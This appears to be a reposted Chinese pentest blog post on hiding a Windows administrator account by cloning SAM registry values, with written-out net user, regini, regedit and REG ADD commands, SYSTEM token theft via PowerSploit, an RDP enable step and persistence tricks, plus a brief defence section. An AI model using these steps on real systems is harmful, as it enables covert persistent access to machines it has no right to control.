渗透技巧——Windows 系统的帐户隐藏

发布于 2024-10-25 23:40:02 字数 7118 浏览 5 评论 0

0x00 前言

在之前的文章 《渗透技巧——Windows 系统远程桌面的多用户登录》 介绍过 Windows 系统远程桌面的利用技巧,实现了非服务器版本 Windows 系统的多用户远程登录,而最近我和 Evilcg 一起研究了通过帐户克隆实现隐藏帐户的利用技巧。如果将二者结合,会有什么利用技巧呢,本文将会一一介绍。

0x01 简介

本文将要介绍以下内容:

  • 帐户隐藏的方法
  • 编写脚本实现思路
  • 结合远程桌面多用户登录的利用思路

0x02 帐户隐藏的方法

该方法在网上已有相关资料,本节只做简单复现

测试系统:· Win7x86

1、对注册表赋予权限

默认注册表 HKEY_LOCAL_MACHINE\SAM\SAM\ 只有 system 权限才能修改

现在需要为其添加管理员权限

右键-权限-选中 Administrators,允许完全控制

如下图

Alt text

重新启动注册表 regedit.exe,获得对该键值的修改权限

2、新建特殊帐户

net user test$ 123456 /add
net localgroup administrators test$ /add

注:

用户名要以$结尾

添加后,该帐户可在一定条件下隐藏,输入 net user 无法获取,如下图

Alt text

但是,在控制面板能够发现该帐户

如下图

Alt text

3、导出注册表

在注册表 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names 下找到新建的帐户 test$

获取默认类型为 0x3ea

将注册表 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\test$ 导出为 1.reg

在注册表下能够找到对应类型名称的注册表项 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EA

如下图

Alt text

右键将该键导出为 2.reg ,保存的文件信息如下图

Alt text

默认情况下,管理员帐户 Administrator 对应的注册表键值为 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4

同样,右键将该键导出为 3.reg

将注册表项 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EA 下键 F 的值替换为 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4 下键 F 的值,即 2.reg 中键 F 的值替换成 3.reg 中键 F 的值

替换后,如下图

Alt text

4、命令行删除特殊帐户

net user test$ /del

5、导入 reg 文件

regedit /s 1.reg
regedit /s 2.reg

隐藏账户制做完成,控制面板不存在帐户 test$

通过 net user 无法列出该帐户

计算机管理-本地用户和组-用户也无法列出该帐户

但可通过如下方式查看:

net user test$

如下图

Alt text

无法通过 net user test$ /del 删除该用户,提示用户不属于此组,如下图

Alt text

删除方法:

删除注册表 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\ 下对应帐户的键值(共有两处)

注:

工具 HideAdmin 能自动实现以上的创建和删除操作

0x03 编写脚本实现思路

采用 powershell 脚本实现的两种思路:

1、对注册表添加管理员帐户的编辑权限

使用 regini 注册 ini 文件为注册表及其子键赋予权限

注:

Powershell 通过 Set-Acl 为注册表赋予权限,示例代码:

$acl = Get-Acl HKLM:SAM\SAM\
$person = [System.Security.Principal.NTAccount]"Administrators"
$access = [System.Security.AccessControl.RegistryRights]"FullControl"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
$propagation = [System.Security.AccessControl.PropagationFlags]"NoPropagateInherit"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.ResetAccessRule($rule)
Set-Acl HKLM:SAM\SAM\Domains\Account\Users\Names $acl

但不支持对子键的权限分配,因此不采用该方法

以下内容保存为 a.ini:

HKEY_LOCAL_MACHINE\SAM\SAM\* [1 17]

注:

* 代表枚举所有子键

1 代表 Administrators 完全访问

17 代表 System 完全访问

详细权限说明可通过 cmd 执行 regini 获取帮助,如下图

Alt text

通过 regini 注册:

regini  a.ini

Evilcg 就是通过这种方式实现的,脚本地址:https://github.com/Ridter/Pentest/blob/master/powershell/MyShell/Create-Clone.ps1

注:

使用 * 需要 system 权限,但只把相关的列举出来,只需要管理员权限即可,例如:

HKEY_LOCAL_MACHINE\SAM [1 17]
HKEY_LOCAL_MACHINE\SAM\SAM [1 17]
HKEY_LOCAL_MACHINE\SAM\SAM\Domains [1 17]
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account [1 17]
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users [1 17]
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names [1 17]

2、直接获得 System 权限

我在之前的文章 《渗透技巧——Token 窃取与利用》 介绍过通过 token 复制获得 system 权限的方法

所以,可以先获得 System 权限,进而拥有对注册表的编辑权限

简单的方式,通过 Invoke-TokenManipulation.ps1 ,地址如下:https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1

但我在测试时发现了一个 bug,使用 Invoke-TokenManipulation -ImpersonateUser -Username "nt authority\system" 无法将当前权限切换为 System 权限

但可以使用 Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\system" 新打开一个 System 权限的进程

接下来,就是编写脚本实现注册表的导出替换功能:

  • 新建测试帐户
  • 将注册表导出到 temp 目录,进行替换
  • 删除特殊帐户
  • 导入注册表文件

我的实现方法参照了 Evilcg 的最初始版本,做了细节上的优化,下载地址:https://github.com/3gstudent/Windows-User-Clone

0x04 结合远程桌面多用户登录的利用思路

通过以上的介绍,可得出该方法的优点:

通过克隆的方式能够继承原帐户的权限

在利用上存在以下需要注意的问题:

1、复制管理员帐户 Administrator

需要注意管理员帐户是否被禁用,如果被禁用,那么克隆出的隐藏帐户也是被禁用状态

2、复制已有帐户

在 3389 远程登录的利用上存在相同帐户的冲突关系,通过 cmd 开启本机的 3389 远程登录功能:

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f

利用以上方法,克隆帐户 a 的权限,建立隐藏帐户 aaa$,如果系统当前登录帐号为 a,那么使用隐藏帐户 aaa$ 登录的话,会系统被识别为帐户 a,导致帐户 a 下线

3、新建帐户再复制

进一步,大胆的思考

新建管理员帐户 b,克隆帐户 b,建立隐藏账户 bbb$,删除管理员帐户 b,隐藏账户 bbb$ 仍然有效

4、原帐户的维持

再进一步

克隆帐户 a 的权限,建立隐藏帐户 aaa$,修改帐户 a 的密码,隐藏帐户 aaa$ 仍然有效

0x05 防御

针对隐藏帐户的利用,查看注册表 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\ 即可

当然,默认管理员权限无法查看,需要分配权限或是提升至 Sytem 权限

隐藏帐户的登录记录,可通过查看日志获取

0x06 小结

本文介绍了隐藏帐户的相关利用技巧,如果应用于远程桌面的多用户登录,隐蔽性会大大提高,站在防御的角度,分享出该利用方法,帮助大家更好的认识和防御。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

蓝梦月影

暂无简介

0 文章
0 评论
22 人气
更多

推荐作者

安静被遗忘

文章 0 评论 0

喔爱吃橙子

文章 0 评论 0

草莓味的萝莉

文章 0 评论 0

梦里兽

文章 0 评论 0

mb_83J3Cyxa

文章 0 评论 0

时间海

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文